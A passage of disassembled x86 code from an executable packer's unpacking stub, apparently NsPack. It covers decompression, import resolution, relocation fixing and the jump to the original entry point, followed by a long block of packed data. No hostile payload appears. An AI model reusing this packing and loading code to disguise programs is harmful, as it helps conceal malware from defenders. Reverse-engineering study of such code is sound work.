		pop	ebx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_46F24B
		add	ebx, 8
		jmp	short loc_46F212
; ---------------------------------------------------------------------------


loc_46F24B:				; CODE XREF: start+9Bj	start+CAj
		push	8000h
		push	0
		push	dword ptr [ebp-142h]
		call	dword ptr [ebp-0CEh]
		lea	esi, [ebp-13Ah]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_46F2B2


loc_46F273:				; CODE XREF: start+100j start+10Ej
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_46F278:				; CODE XREF: start+136j
		cmp	al, 1
		ja	short loc_46F273
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_46F298
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_46F273
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_46F2A2
; ---------------------------------------------------------------------------


loc_46F298:				; CODE XREF: start+108j
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah


loc_46F2A2:				; CODE XREF: start+11Cj
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_46F278


loc_46F2B2:				; CODE XREF: start+F7j
		call	sub_46F3F1
		lea	ecx, [ebp-126h]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_46F34A
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_46F34A
		mov	[ecx+10h], esi
		lea	esi, [ebp-0F6h]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_46F2EF
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_46F2F7
; ---------------------------------------------------------------------------


loc_46F2EF:				; CODE XREF: start+169j
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]


loc_46F2F7:				; CODE XREF: start+173j start+18Ej
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_46F320
		cmp	al, 0EFh
		ja	short loc_46F30A


loc_46F304:				; CODE XREF: start+19Dj start+1A4j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_46F2F7
; ---------------------------------------------------------------------------


loc_46F30A:				; CODE XREF: start+188j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_46F304
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_46F304
; ---------------------------------------------------------------------------


loc_46F320:				; CODE XREF: start+184j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_46F34A


loc_46F32B:				; CODE XREF: start+1BCj
		lodsd
		or	eax, eax
		jz	short loc_46F338
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_46F32B
; ---------------------------------------------------------------------------


loc_46F338:				; CODE XREF: start+1B4j
		xor	ebx, ebx
		shr	ecx, 10h


loc_46F33D:				; CODE XREF: start+1CEj
		lodsd
		or	eax, eax
		jz	short loc_46F34A
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_46F33D
; ---------------------------------------------------------------------------


loc_46F34A:				; CODE XREF: start+149j start+154j ...
		lea	esi, [ebp-16Ah]
		mov	edx, [esi]
		lea	esi, [ebp-10Eh]
		mov	al, [esi]
		cmp	al, 1
		jnz	short loc_46F39D
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-0D6h]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_46F53A
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 0Ch
		sub	edi, 8
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-0D6h]


loc_46F39D:				; CODE XREF: start+1E2j
		push	ebp
		pop	ebx
		sub	ebx, 8
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	cl, 0
		jz	short loc_46F3D6
		inc	ebx
		lea	esi, [ebp-16Ah]
		mov	edx, [esi]


loc_46F3B7:				; CODE XREF: start+25Aj
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-0D6h]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_46F3B7


loc_46F3D6:				; CODE XREF: start+14j	start+232j
		mov	eax, 0
		cmp	eax, 0
		jz	short loc_46F3EA
		popa
		popf
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_46F3EA:				; CODE XREF: start+264j
		popa
		popf
		jmp	loc_46C3B0
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_46F3F1	proc near		; CODE XREF: start:loc_46F2B2p
		mov	esi, [ebp-172h]
		or	esi, esi
		jz	loc_46F496
		mov	edx, [ebp-16Ah]
		add	esi, edx


loc_46F407:				; CODE XREF: sub_46F3F1+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_46F41A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_46F41A
		cmp	dword ptr [esi+8], 0
		jnz	short loc_46F41A
		jmp	short loc_46F494
; ---------------------------------------------------------------------------


loc_46F41A:				; CODE XREF: sub_46F3F1+19j
					; sub_46F3F1+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-7Eh]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-0DEh]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_46F496
		mov	[ebp-162h], eax
		add	edi, [esi]
		add	esi, 4


loc_46F448:				; CODE XREF: sub_46F3F1+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_46F454
		inc	esi
		jmp	short loc_46F407
; ---------------------------------------------------------------------------


loc_46F454:				; CODE XREF: sub_46F3F1+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_46F468
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh


loc_46F468:				; CODE XREF: sub_46F3F1+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-162h]
		call	dword ptr [ebp-0DAh]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_46F496
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_46F448
; ---------------------------------------------------------------------------


loc_46F494:				; CODE XREF: sub_46F3F1+27j
		clc
		retn
; ---------------------------------------------------------------------------


loc_46F496:				; CODE XREF: sub_46F3F1+8j
					; sub_46F3F1+4Aj ...
		jmp	loc_46F53A
sub_46F3F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_46F49B	proc near		; CODE XREF: start+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0046F536 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_46F4A7:				; CODE XREF: sub_46F49B+12j
		movsb


loc_46F4A8:				; CODE XREF: sub_46F49B+34j
					; sub_46F49B+7Dj
		call	sub_46F51A
		jnb	short loc_46F4A7
		xor	ecx, ecx
		call	sub_46F51A
		jnb	short loc_46F4D1
		xor	eax, eax
		call	sub_46F51A
		jnb	short loc_46F4E2
		mov	al, 10h


loc_46F4C3:				; CODE XREF: sub_46F49B+2Fj
		call	sub_46F51A
		adc	al, al
		jnb	short loc_46F4C3
		jnz	short loc_46F50F
		stosb
		jmp	short loc_46F4A8
; ---------------------------------------------------------------------------


loc_46F4D1:				; CODE XREF: sub_46F49B+1Bj
		call	sub_46F526
		dec	ecx
		loop	loc_46F4EE
		mov	eax, ebp
		call	sub_46F524
		jmp	short loc_46F510
; ---------------------------------------------------------------------------


loc_46F4E2:				; CODE XREF: sub_46F49B+24j
		lodsb
		shr	eax, 1
		jz	short loc_46F536
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_46F510
; ---------------------------------------------------------------------------


loc_46F4EE:				; CODE XREF: sub_46F49B+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_46F524
		cmp	eax, 7D00h
		jnb	short loc_46F50E
		cmp	eax, 500h
		jnb	short loc_46F50F
		cmp	eax, 7Fh
		ja	short loc_46F510


loc_46F50E:				; CODE XREF: sub_46F49B+65j
		inc	ecx


loc_46F50F:				; CODE XREF: sub_46F49B+31j
					; sub_46F49B+6Cj
		inc	ecx


loc_46F510:				; CODE XREF: sub_46F49B+45j
					; sub_46F49B+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_46F4A8
sub_46F49B	endp


; =============== S U B	R O U T	I N E =======================================



sub_46F51A	proc near		; CODE XREF: sub_46F49B:loc_46F4A8p
					; sub_46F49B+16p ...
		add	dl, dl
		jnz	short locret_46F523
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_46F523:				; CODE XREF: sub_46F51A+2j
		retn
sub_46F51A	endp


; =============== S U B	R O U T	I N E =======================================



sub_46F524	proc near		; CODE XREF: sub_46F49B+40p
					; sub_46F49B+5Bp
		xor	ecx, ecx
sub_46F524	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_46F526	proc near		; CODE XREF: sub_46F49B:loc_46F4D1p
		inc	ecx


loc_46F527:				; CODE XREF: sub_46F526+Dj
		call	sub_46F51A
		adc	ecx, ecx
		call	sub_46F51A
		jb	short loc_46F527
		retn
sub_46F526	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_46F49B


loc_46F536:				; CODE XREF: sub_46F49B+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_46F49B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_46F53A:				; CODE XREF: start+51j	start+1FDj ...
		push	0
		call	dword ptr [ebp-0CAh]
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	edx, [ecx]
		cmp	edx, [ecx+4]
		jnz	short loc_46F556
		mov	dword ptr [ecx+eax*2], 2300110h
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------


loc_46F556:				; CODE XREF: .nsp1:0046F54Aj
		pop	es
		mov	al, [edx]
		inc	edx
		mov	[ecx], edx
		pusha
		mov	eax, [esp+4]
		sbb	al, 83h
		popa
		adc	[ebx], dh
		or	[ebx+eax*4], cl
		push	esi
		push	ds
		and	[ebx], al
		rol	byte ptr [ecx+49h], 1
		or	bh, bh
		push	5
		jmp	short loc_46F585
; ---------------------------------------------------------------------------
		dw 5E58h
		dd 239C9E8h, 0F0CE48Bh,	0C1C0B600h
		db 0E2h
; ---------------------------------------------------------------------------


loc_46F585:				; CODE XREF: .nsp1:0046F574j
		or	[ebx], cl
		retn	3E4Eh
; ---------------------------------------------------------------------------
		dw 4189h
		dd 5EEA750Fh, 5300040Eh, 8718B56h, 85DB3307h, 798057D2h
		dd 762C7E0Ch, 0D1EA1C55h, 3BE380EEh, 2B0572FEh,	0CB1D83E8h
		dd 0C5778101h, 0C1107360h, 0E8081AE6h, 41848985h, 4DF800E7h
		dd 675DD875h, 4C5F6289h, 8B1C5E7Ah, 8CB35BC3h, 614F97F2h
		dd 39B70F57h, 3CC1C2DCh, 0AF1E0BE8h, 0C7E00C7h,	4073F83Bh
		dd 0BC468931h, 1F566C0h, 0BFD0348Eh, 2B98F01Eh,	0FF00C1FAh
		dd 66F80305h, 7F813989h, 195CA87Eh, 0E8CE148Bh,	4E889F2Ah
		dd 381DE164h, 0DFF166BAh, 0EB0EE072h, 4FD02B42h, 89566DF8h
		dd 8FA06FD7h, 0D00AD20Ch, 0EA50C1E6h, 86DFC29Eh, 0FEE742A3h
		dd 5F40021Fh, 0D681C35Eh, 0BB5351ECh, 94DA3E16h, 1E8DB85h
		dd 891A7EF9h, 0B240FC5Dh, 708D0855h, 180CE634h,	0FD3FE83Eh
		dd 4DE6C603h, 0EB75FC0Ch, 242C25Eh, 0E2D3CB8Bh,	0C9045B5Fh
		dd 3A191F95h, 0F8DD8976h, 0C357309Ch, 7D3942FFh, 0FBD98BC9h
		dd 207EFCA8h, 12785665h, 1E0C4203h, 0BD2385E8h,	614D0CFh
		dd 9E003D3h, 3B47FC45h,	0E27C4812h, 2414151Bh, 6D61C988h
		dd 0DAE899F2h, 6E4940ECh, 54E8D3E4h, 380BABCFh,	0BE493DC6h
		dd 9FEA7C14h, 35A05B2Bh, 0D29C1950h, 435294FCh,	8751BC4h
		dd 65D0D1B8h, 0EEEC1D8h, 1468D07h, 326E0CFh, 471B76C3h
		dd 0D07396E8h, 2D80BDBh, 1C75F03Bh, 40A1FB81h, 0B21AEBD3h
		dd 221BB657h, 59A276E8h, 1C99D88Bh, 8AB88AE6h, 566585C3h
		dd 47FA820Eh, 417CE8F1h, 75C01385h, 0C2A4616h, 403AC57h
		dd 4C8D036Ah, 0E85AB030h, 0EB31C7DCh, 24EC03Bh,	32F8D78Bh
		dd 755724A8h, 104B1B65h, 0D8C2422h, 0B54E919Fh,	8C08301h
		dd 406A11EBh, 2048EF8h,	0CA213A1h, 67D2D210h, 384ABE2Ch
		dd 4E0813F9h, 4D41F154h, 24C8030Ch, 0B8704733h,	1A52A4F1h
		dd 0DCC9283Dh, 0F44DCCEBh, 28E806C8h, 0D210E6E5h, 4B661AD6h
		dd 90F84D41h, 0F020EC06h, 0E7D3E403h, 5073605h,	4ADB325Ah
		dd 0CCE1C4Fh, 55604D39h, 0DC2E1060h, 0D6A0873h,	0A0E95802h
		dd 769842E1h, 0D1C87540h, 0DCA8B7F9h, 0F3FE202Fh, 61C913ABh
		dd 75FF0A66h, 14032018h, 0C84D8D02h, 0A3FCFAE8h, 80207D8Eh
		dd 0D470860Fh, 10128A5Dh, 20861923h, 0DE89C1D8h, 66851860h
		dd 0F4EA13A3h, 2061AA42h, 0C29B4604h, 55624E73h, 46FD4464h
		dd 82766212h, 474223DCh, 8B1A580h, 20E74D2Ah, 0A590C380h
		dd 0C59CA3h, 8DC203A1h,	5904004h, 0FF83091Dh, 6C8806E4h
		dd 67D0F0Eh, 3F46587h, 243D10EBh, 9E05BA0Ah, 65B903EFh
		dd 0A50D060Ah, 830CEF4h, 0F6204974h, 0F8B02B39h, 48A1C9Ah
		dd 0AA88103Ch, 65A09A18h, 7783FE1Dh, 4708816Ch,	8AE76C0Eh
		dd 1C54D867h, 0F2836A94h, 7EAE0843h, 33340180h,	42E894C2h
		dd 3BC1A362h, 0AF1B50C3h, 2DB2E1C7h, 0E823983Ah, 0A62F519Eh
		dd 45752F8Eh, 920F47A4h, 0D18A0395h, 0E84605C1h, 75184E86h
		dd 0FEE392Ch, 558B8435h, 1FF0B514h, 9D0707FFh, 0F8912BC0h
		dd 9C1448Dh, 39F4F943h,	1338AD3h, 4A31FF33h, 4AE91288h
		dd 0B058A4CEh, 75184622h, 0EC48C305h, 2B2B27EBh, 0E80A8AC8h
		dd 0F0E1182Eh, 76BA09EBh, 87E410E4h, 0EC1D38B5h, 0EDB419B6h
		dd 0A2E613A8h, 8E8481DDh, 32480A68h, 0C2D5AA9Bh, 91EA6299h
		dd 0E0DC487Eh, 0BD9E7FDh, 0C2ADE911h, 0F06C8944h, 0DBE41C5Bh
		dd 9D6D0CD1h, 2C591284h, 6648888h, 0A113229h, 9750E81Bh
		dd 2404F8D9h, 34C7CB4h,	0D858247Dh, 3DF25194h, 81062407h
		dd 4B536093h, 549E7414h, 49647C21h, 0D6C7D1E2h,	4AFB2391h
		dd 0BA30CFF9h, 0CC3E98CAh, 7D5D0E2Ah, 0E4511524h, 5EF02B1Dh
		dd 80055E4Eh, 5DD73AE8h, 21EB7001h, 0E1E7C283h,	18A4FB0Fh
		dd 1C00493Eh, 6A50C845h, 44F691F1h, 0DBEB5A0Ah,	8590B4CEh
		dd 0D36284B6h, 648838Eh, 303424C9h, 9E3C80A6h, 393F3A77h
		dd 0D3C1A41Ch, 342429Ch, 40188AC7h, 9413940h, 0D2854A40h
		dd 57EC2A1h, 7220D43Bh,	78F1EC49h, 820FE0E7h, 45B59055h
		dd 83CC95D2h, 0D2851C6Eh, 7841EB75h, 63F0D1C3h,	72102E12h
		dd 800F8A87h, 0BB82E144h, 0F4D1610Dh, 62720124h, 96E94407h
		dd 55E3194Ah, 2E2D2E2Ch, 72805F2Eh, 8AE43214h, 2EB37DC1h
		dd 0AAC1F3F6h, 0C807C8Fh, 0FA7548D3h, 12BA093Ch, 1CF71CA6h
		dd 16F781FCh, 0F11EC9F5h, 0BB060682h, 0E35061C6h, 10E068CFh
		dd 9C268D92h, 5341A71Bh, 9D71FF52h, 0BD2077CDh,	0A17A90C8h
		dd 1494D38Bh, 206FB405h, 57885272h, 1DFC12B8h, 33242065h
		dd 18CE4F6h, 81806E46h,	2E69C36Ah, 8B020240h, 5FC385C6h
		dd 53F8C41Eh, 80B901h, 0
		dd 2000005Dh, 17C5200h,	6E00000h, 6F000000h, 0A3FFFFFDh
		dd 3E47FFB7h, 39721548h, 92B85161h, 86A3E628h, 0E4EEF907h
		dd 2FD3821Eh, 13C3AC5h,	0C97EB14Bh, 2F4D8A8Ah, 7FD90DA3h
		dd 238CE3A6h, 59E05311h, 8A75C518h, 0B6F877E2h,	6A0C7F94h
		dd 4974DEC0h, 5CE9E264h, 0D804B253h, 0AB0C44F7h, 466D0D5Fh
		dd 76C3E5E9h, 5796B788h, 0E14DB6ACh, 0FB6F1D69h, 6C10884Bh
		dd 3F88CB42h, 0F35005Ch, 38A4B450h, 505F368Ah, 4F612308h
		dd 84FFF63Dh, 80A6EB53h, 0A00991E4h, 6F702968h,	0CB2C440Ch
		dd 9390F289h, 11D0854Bh, 51E0DEAFh, 0FDF77AF2h,	4E078AA2h
		dd 811643D2h, 0EE0F62B6h, 94D36E75h, 0E23805A1h, 1E8A612h
		dd 0C087E8D3h, 0DDEFBBE3h, 2B5E8F24h, 283B5C9h,	7894802Eh
		dd 0C07DB02h, 2F6BB8FFh, 0E01B6F3Eh, 0B2464AEFh, 0B146CCEAh
		dd 8B1D9AF9h, 0F3B8A24Bh, 0EE9F0A77h, 0D1DF915Dh, 1D37EE47h
		dd 0BE4B3D82h, 0AB8F6810h, 1F2E48C6h, 97BECF79h, 50E6D781h
		dd 79CB5716h, 0DD686B6Ch, 0FC08F7ADh, 895A672Fh, 4AAC4654h
		dd 0C82BCFABh, 0FA3092DBh, 4AEA9B2Dh, 6A3C44E5h, 8ADAED01h
		dd 6DA3F0B1h, 9D9E2B53h, 0B30A67D6h, 0AF1D690h,	4154B55Ch
		dd 4662341Ch, 0D1FDBDBDh, 86D396C2h, 0CB522DE0h, 0AED96C65h
		dd 0EB825C07h, 42AE0ABEh, 7E215B10h, 3B3A768Fh,	0C72A5F31h
		dd 0AB681B6Ch, 9AE7A192h, 5E30A637h, 47BA39A4h,	2A4241EFh
		dd 5C7F542Fh, 34C37C6Fh, 79C9C090h, 7162E0DBh, 0B8E90F18h
		dd 552AB40h, 17C9CEF5h,	0F8E215D3h, 0BC1D07DFh,	0A25FEFDDh
		dd 65A9B274h, 6C584910h, 0C0AAF869h, 39324C21h,	0C72D754Fh
		dd 0FA9D1E54h, 1A870AD0h, 9776F907h, 0FF8DFBA2h, 0F9984112h
		dd 0E1041F88h, 5523E3F6h, 0CB83419Ch, 42F6C1DBh, 5701F961h
		dd 9A85E9C3h, 72F13E23h, 0ADEDD1D9h, 30C376BFh,	289A5492h
		dd 0B99A705h, 0D62DEE46h, 0BFEF2274h, 25B20072h, 0F5C92B3Ch
		dd 1B2B3B43h, 0E2F54864h, 6B576A1Eh, 20A92D24h,	0B3BF2D83h
		dd 2FC28325h, 0DC5AB8D3h, 214C25ACh, 3D04FF45h,	14CC0C54h
		dd 7EB64E46h, 90A3979Bh, 0A4A36940h, 30124D7h, 459E051Ah
		dd 490FF85Eh, 8F082EF3h, 0EC2E11E9h, 9B620719h,	0F720EB44h
		dd 1ED46268h, 66DD8E67h, 45070E79h, 574B32A9h, 0B08993F7h
		dd 416B4B22h, 48EBD85Eh, 0AA8860C6h, 12302DC4h,	0CB3A0FC5h
		dd 0E429DFECh, 2BB17841h, 0E5ADC919h, 8D9BCF77h, 3AA2948h
		dd 50874D6Eh, 2BD6FC31h, 0A020184Dh, 0E152A11Eh, 70E5DAFEh
		dd 0E499C78Fh, 7A2A7402h, 0FCC1FED1h, 5AD7F6F1h, 9125625Dh
		dd 59792489h, 8E14B3C1h, 0C281CF30h, 13BD8C56h,	817A21FFh
		dd 0F27D2AE8h, 0B201AE42h, 0EECE6190h, 7D75D60Ah, 5057BEFEh
		dd 4DE3ADF8h, 55165B2Bh, 0E47C4AB4h, 9FB5A487h,	5526992h
		dd 45DD8B3Ah, 0FF854947h, 59BA5A9Eh, 0BC33748h,	0E6608A20h
		dd 0AE634197h, 0D19CAECEh, 0C37B1F50h, 0BD216EA6h, 530B8BB2h
		dd 5B4B35B6h, 0DDC16E1Ah, 0E39C65A0h, 9FF45F1Ah, 1980622Ah
		dd 374CE99Dh, 9F775046h, 9F4D0D8Bh, 5D97E2DDh, 0A8BDD0A0h
		dd 3839C4Ch, 514BD75Ch,	58BD209Bh, 0F86AD79Dh, 2FAB3C20h
		dd 0DDEA2ADAh, 9D5AF649h, 98054836h, 2CA38116h,	750BCAC4h
		dd 0D3C339DAh, 5CB2D33Eh, 0F131DB40h, 543D4B03h, 45EAE853h
		dd 8115DA71h, 2B70CF9Dh, 76CD3D74h, 89251E3Bh, 69ECDDA9h
		dd 0B6A74C73h, 2D7CCA8h, 64A93FA5h, 7231AD2Bh, 317C07FBh
		dd 2DBDFF15h, 7146DB68h, 0B5C46A8Dh, 2701A644h,	0ED6E7226h
		dd 0D6A4EAFBh, 66117C7Bh, 3CAF916Dh, 0FA500EA1h, 0E8C976FDh
		dd 0C7F33092h, 90AF8D3h, 2E7601Fh, 44FE6004h, 33A9038Bh
		dd 0D6D588D0h, 7CD08816h, 0CA623D43h, 53973742h, 2E5688A0h
		dd 913EE11Ch, 543CB104h, 1EC8FACDh, 746C456Fh, 2D68D019h
		dd 7265507Ch, 1E79D8F0h, 0F0EA1491h, 0E2DD58BBh, 0D48A9BC1h
		dd 637A5BF2h, 9D90218h,	1429E57Ah, 3748F085h, 72023793h
		dd 0EA5D74Bh, 0CEEB93Ah, 0B6E563D2h, 3B4267D9h,	0F2BA995Dh
		dd 70A34259h, 0F0F6140Bh, 0AF01349h, 23453E6Ah,	0A8A6AB9Eh
		dd 89A70E50h, 1510797Ah, 0AE82AF7Fh, 0AF51C9E9h, 56A9016Bh
		dd 77A642B5h, 2CB74A64h, 6E46B95Bh, 0A753B4Eh, 79AB2EECh
		dd 0CF4A97FDh, 93A7AEC6h, 5009270Ch, 0E612A08Fh, 77D247CBh
		dd 3FA3DC92h, 0F00EFE78h, 0E7193EE2h, 29E67D38h, 5904BD30h
		dd 0B62A523Fh, 339AC447h, 7127E71h, 0FECE908Dh,	361181C6h
		dd 5EE4BAC0h, 0AB50C5DEh, 91955602h, 9E254693h,	0C54E11Fh
		dd 6A1AD3F9h, 8A52C0B4h, 0B324C8C2h, 55D547BCh,	3E9A5D98h
		dd 4A40618Ch, 0E137D001h, 0E01B10h, 82B3854Ch, 2AD57C4Ah
		dd 0EEA7EF38h, 25644980h, 6A34E870h, 4C745469h,	2C77BA65h
		dd 23F53EB1h, 0BFF49E69h, 4453083Ah, 0BFB18176h, 5BA3C154h
		dd 6D05147Eh, 32888C24h, 0C84FA7DEh, 8B921EDh, 80274B37h
		dd 82AC9523h, 396E2D0Eh, 0D1CDC99Dh, 0AC0A3ABFh, 680BF3D0h
		dd 0B7C68BF6h, 44AF975h, 24184E96h, 0A556C08Fh,	0E22B55C3h
		dd 0EF950F76h, 6F36A37Eh, 378AC10Bh, 0C3945D90h, 0A45CEF3Bh
		dd 0C08D92Bh, 0D38675DEh, 0A7B40E7Ch, 0F61EE6B0h, 2282184Ch
		dd 0F0FCC526h, 98181F7Fh, 51BBC1A9h, 0C263C78Bh, 61789DCAh
		dd 0FE5E00CAh, 66A4CA94h, 0B574D5F6h, 0B746D8F4h, 2D8FCC41h
		dd 8142A18Bh, 5A9C4FBBh, 0A79AFB19h, 4792159Dh,	35451E03h
		dd 92A19AC6h, 81DDCC63h, 7F870671h, 4FDE9432h, 4B608524h
		dd 6D8C74BBh, 70ABE4AFh, 1B0292B5h, 685162Dh, 0FEE568Bh
		dd 1033AEB5h, 55B9B8B7h, 915F3F88h, 89C67492h, 943DBB87h
		dd 1A49062Eh, 0E8E16F42h, 91E06E8Fh, 0A98E16C8h, 0F5A9C91h
		dd 5E374AEh, 0DB923D0Bh, 2FE401A8h, 34521A58h, 1E389E41h
		dd 8CD49A0Ch, 5BC5B828h, 9CAB23BFh, 4EE34F98h, 0F9B918B4h
		dd 4D6DDDEDh, 0F5C55B1Dh, 0EB696EEEh, 6933B595h, 47A64ACDh
		dd 0F718439Eh, 758910DAh, 9F288CD5h, 988BCEE3h,	0FFFDA415h
		dd 7B16E0E0h, 68AC8375h, 22984739h, 3104EB5Fh, 0B5B656F2h
		dd 19A264CBh, 13B24F3Ch, 0E86F85DCh, 3B4071B1h,	11676670h
		dd 1A88D2B7h, 2A8DD41Bh, 0BC7C3E67h, 0E1467849h, 0CC1C0E5Ch
		dd 37979C10h, 7239BAE3h, 0BCBE9CDh, 4543A0Ah, 0E579C42Fh
		dd 1353E623h, 0A3F475D5h, 8A7C9C92h, 0D9A6E9ADh, 0B1A67AD5h
		dd 998BC9DAh, 5AF6C632h, 520C7F72h, 31CD2EB1h, 0EDD805A6h
		dd 9AE2E33Eh, 0C319548Ch, 1D220339h, 839E2F32h,	0BEB8D3A4h
		dd 7C0ACE4Ah, 7155B89Ch, 0C8289D7Ch, 0EFCC01BAh, 6C3CEC87h
		dd 0EE90E2D9h, 0D8726861h, 456FCF51h, 0CAEEA0D2h, 0ED8BBBE2h
		dd 0B2016CA1h, 0DA4C1885h, 0C7348D6Fh, 0E229AB45h, 0D1F00604h
		dd 9AC58849h, 0EEC62FF7h, 0B559E689h, 280E3CEAh, 23A4878Bh
		dd 0AE0E587Ch, 50D82BFCh, 0D2E4FB21h, 0FA3E9D1Ah, 0DCCA3667h
		dd 0E8D19D3Ah, 0F161AD5Eh, 82F3E088h, 0DDA1FD9h, 0DC566E6Dh
		dd 0DFD943FDh, 9422B48Dh, 0EBBF02D5h, 0E0871682h, 0FD0FFF3Eh
		dd 5925918Ah, 47FEB1C1h, 0C0A2BF28h, 0CA2CCEA3h, 0C7800E5Eh
		dd 7A082E88h, 9C0E0687h, 50D2BBE0h, 8A2A96B1h, 6B0ED5C7h
		dd 22D07223h, 6ED70124h, 21D33452h, 0A0EF9D08h,	0E9853ABCh
		dd 0D32388A7h, 5E0730F2h, 0C4008AC8h, 8CC8D792h, 413F2591h
		dd 0F2EA59C9h, 2C4DBB5h, 415D404Fh, 0BEB20985h,	851A4CB3h
		dd 4DEDD44Bh, 0F13D4211h
		dd 1238025Ah, 0D5D862FFh, 38D4CC89h, 0B8233A4Fh, 3EF705C2h
		dd 0BC3151DEh, 5D7714B6h, 0CA277393h, 8B859B3Eh, 0BBE19F9Ch
		dd 3232EBC5h, 134F1D32h, 367CCA62h, 462978BBh, 10F93A66h
		dd 0EB97982Ah, 20F4FDCh, 11BB57ABh, 781B377Ch, 0FBC2244h
		dd 98FED20Bh, 7A5F2AC5h, 64E4F825h, 0C4F06D70h,	0B93A0Bh
		dd 0A182BA77h, 0E72006D0h, 7E7DC61Bh, 5B83B304h, 89FFF3D4h
		dd 4A39650Fh, 39C696C3h, 13F910BCh, 0DBF5BCBh, 65DEFDFAh
		dd 13D7FCADh, 9DED4A6h,	207E77AAh, 3DB77EF8h, 9859142Ch
		dd 494BA99Ch, 0BD7BB57Ch, 7A829D60h, 943F182Ah,	3962D53h
		dd 194D141Fh, 0B48D79C0h, 3D28CD78h, 0B7D7C9EDh, 0A12E4DCAh
		dd 387DD789h, 3BC6428Fh, 54E5C7D3h, 0F56281D4h,	1C6AC6ADh
		dd 4BE546BAh, 1C25594Bh, 4B5D00BCh, 46819710h, 7886BB3h
		dd 917A1C24h, 520153CEh, 167514A9h, 0AA84D605h,	0EB8E2EEFh
		dd 4703EABAh, 0C05E25Ah, 10E9D145h, 0ACF2B233h,	622CE740h
		dd 0CD4451F8h, 97AD0A35h, 30C1D7E5h, 8B9D43B7h,	8CD42184h
		dd 8D56B467h, 0EE7AC894h, 8855A8F0h, 9B09C80Ah,	600F59A9h
		dd 0EF81B1Eh, 9FBBED25h, 0DCDB19Bh, 72617E60h, 9ED7BF3Ah
		dd 24B9E74Eh, 9FCE369h,	63F94398h, 88411CA4h, 3DE4D551h
		dd 8DF75559h, 44CA134Eh, 4F5511A3h, 1AE87AD1h, 0BE624333h
		dd 94F3609Eh, 677714ABh, 0D03D00AAh, 793F2649h,	770F16B3h
